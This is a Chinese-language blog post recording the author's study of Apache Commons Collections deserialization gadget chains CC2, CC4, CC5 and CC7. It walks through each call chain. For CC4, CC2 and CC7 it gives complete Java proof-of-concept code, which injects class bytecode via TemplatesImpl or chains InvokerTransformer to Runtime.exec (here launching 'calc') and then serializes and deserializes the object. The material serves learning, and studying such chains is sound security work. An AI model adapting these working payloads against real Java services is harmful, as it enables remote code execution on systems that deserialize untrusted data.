java反序列化学习—CC2+CC4+CC5+CC7

1.CC4 反序列化利用链核心解析

在 commonscollections4 版本中,TransformingComparator 类的关键变化使其成为反序列化利用链的核心组件——​​该类从不可序列化(未实现 Serializable 接口)转变为可序列化​​。这一改动为攻击者通过反序列化触发恶意代码执行提供了基础条件。
核心链分析:从 ChainedTransformer.transform 到 TransformingComparator.compare
要理解 CC4 的利用链,需从 ChainedTransformer.transform 方法入手。该方法的核心逻辑是通过组合多个转换器(Transformer)对输入对象进行链式转换。而 TransformingComparator 作为 Comparator 的实现类,其 compare 方法中直接调用了 Transformer.transform,具体代码如下:

public int compare(final I obj1, final I obj2) {
        final O value1 = this.transformer.transform(obj1);
        final O value2 = this.transformer.transform(obj2);
        return this.decorated.compare(value1, value2);
    }

查询该同名方法在哪里调用发现了PriorityQueue,优先队列因为需要保证队列有序,需要对元素进行比较,所以可以优先看下该优先队列,继续跟踪这些调用了compare的方法,发现在一个调用链的最好有一个 readobject

具体流程:如下所示

PriorityQueue.readObject->PriorityQueue.heapify->PriorityQueue.siftDown->PriorityQueue.siftDownUsingComparator->comparator.compare


我们只需要控制PriorityQueue里的comparatorTransformingComprator,便可走完我们的这条链。
这里需要注意heapify里需要(size >>> 1 >=0,所以size至少需要为2,在构造链的时候需要向队列里添加任意两个值。

构造利用链时需注意初始化顺序问题。不可直接使用ChainedTransformer初始化TransformingComparator,否则会在序列化前触发恶意代码执行。先用ConstantTransformer等无害转换器初始化TransformingComparator`。具体实现如下所示。

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CC4test {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        //调用反射修改_name的值
        Class cls = templates.getClass();
        Field name = cls.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates, "qwq");

        //调用反射修改_bytecodes的值
        Field bytecodes = cls.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);

        byte[] code = Files.readAllBytes(Paths.get("D://test//test.class"));
        byte[][] codes = {code};
        bytecodes.set(templates, codes);

        Field tfactoryfield = cls.getDeclaredField("_tfactory");
        tfactoryfield.setAccessible(true);
        tfactoryfield.set(templates, new TransformerFactoryImpl());

        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer", null, null)
        });
        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
        priorityQueue.add(1);
        priorityQueue.add(2);

        Class c = transformingComparator.getClass();
        Field transformedField = c.getDeclaredField("transformer");
        transformedField.setAccessible(true);
        transformedField.set(transformingComparator, chainedTransformer);

        serialize(priorityQueue);
        unserialize("ser.bin");


    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
        Object obj = ois.readObject();
        return obj;
    }
}

2.CC2 反序列化利用链分析

CC2与CC4不同在于,他通过调用InvokerTransformer.transform直接触发TemplatesImpl.newTransformer,同时使用add直接将templates对象放入,不再借助ConstantTransformer。具体如下。

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;  // 修改为正确版本

import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CC2Test {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        //调用反射修改_name的值
        Class cls = templates.getClass();
        Field name = cls.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates, "qwq");

        //调用反射修改_bytecodes的值
        Field bytecodes = cls.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);

        byte[] code = Files.readAllBytes(Paths.get("D://test//test.class"));
        byte[][] codes = {code};
        bytecodes.set(templates, codes);

        InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
        PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
        priorityQueue.add(templates);
        priorityQueue.add(templates);

        Class c = transformingComparator.getClass();
        Field transformerField = c.getDeclaredField("transformer");
        transformerField.setAccessible(true);
        transformerField.set(transformingComparator, invokerTransformer);

        serialize(priorityQueue);
        unserialize("ser.bin");
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.bin"));
        Object obj = ois.readObject();
        return obj;
    }
}

3.CC5 反序列化链分析

CC5出发点是BadAttributeValueExpExceptionlreadObject,这个方法里调用了toString()方法。

并且TiedMapEntry下是有toString方法的,具体如下

它会调用TiedMapEntry的getvalue方法,getvalue再调用Lazymap中的get方法,后续与CC1一致。

4.CC7 反序列化链分析

利用链如下

Hashtable.readObject → Hashtable.reconstitutionPut->AbstractMap.equals → TiedMapEntry → LazyMap.get

具体流程如下

1.反序列化恶意构造的Hashtable对象时,其readObject()方法会重建内部哈希表,并处理键冲突。
2.预先设置​​两个哈希碰撞的键​​(如KeyA和KeyB)。当反序列化发生冲突时,触发KeyA.equals(KeyB)比较。
3.因为KeyB是Map类型,会调用AbstractMap.equals(KeyA)。该方法遍历KeyB中的元素时,会对参数KeyA调用:if (!value.equals(m.get(key))) =KeyA.get()
TiedMapEntry.get()方法转调到其内部持有的LazyMap对象:

实现代码如下。

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CC7test {
    public static void main(String[] args) throws Exception {
        Transformer[] fakeformers = new Transformer[]{new ConstantTransformer(2)};
        Transformer[] transforms = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(fakeformers);

        Map innerMap1 = new HashMap();
        innerMap1.put("pP", 1);
        Map innerMap2 = new HashMap();
        innerMap2.put("oo", 1);

        Map lazyMap1 = LazyMap.decorate(innerMap1, chainedTransformer);
        Map lazyMap2 = LazyMap.decorate(innerMap2, chainedTransformer);

        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, 1);
        hashtable.put(lazyMap2, 2);
        lazyMap2.remove("pP");
        
        Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(chainedTransformer, transforms);
        
        serialize(hashtable, "ser.bin");
        unserialize("ser.bin");
    }

    // 序列化方法
    public static void serialize(Object obj, String filename) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(filename));
        oos.writeObject(obj);
        oos.close();
        System.out.println("Serialization completed. File: " + filename);
    }

    // 反序列化方法
    public static Object unserialize(String filename) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        Object obj = ois.readObject();
        ois.close();
        System.out.println("Deserialization completed.");
        return obj;
    }
}
posted @ 2025-06-21 10:32  nago  阅读(33)  评论(0)    收藏  举报